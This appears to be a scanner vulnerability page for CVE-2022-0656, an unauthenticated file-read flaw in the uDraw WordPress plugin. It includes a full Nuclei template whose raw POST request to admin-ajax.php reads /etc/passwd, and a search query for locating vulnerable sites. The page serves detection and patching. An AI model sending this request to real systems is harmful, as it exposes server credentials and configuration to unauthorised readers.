uDraw <3.3.3 - Local File Inclusion

highseverity

7.5CVSS score

7.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.

Fix

Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "cm9vd" and "data:image\\/;base64" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0656 -u <target>

The full check

id: CVE-2022-0656

info:
  name: uDraw <3.3.3 - Local File Inclusion
  author: akincibor
  severity: high
  description: uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0656
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-0656
    cwe-id: CWE-552
    epss-score: 0.07879
    epss-percentile: 0.94753
    cpe: cpe:2.3:a:webtoprint:web_to_print_shop\:udraw:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webtoprint
    product: web_to_print_shop\
    google-query: inurl:"/wp-content/plugins/udraw"
  tags: cve,cve2022,wp,wordpress,wp-plugin,unauth,lfi,udraw,wpscan,webtoprint,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        action=udraw_convert_url_to_base64&url=/etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "cm9vd" # root in base64
          - "data:image\\/;base64"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from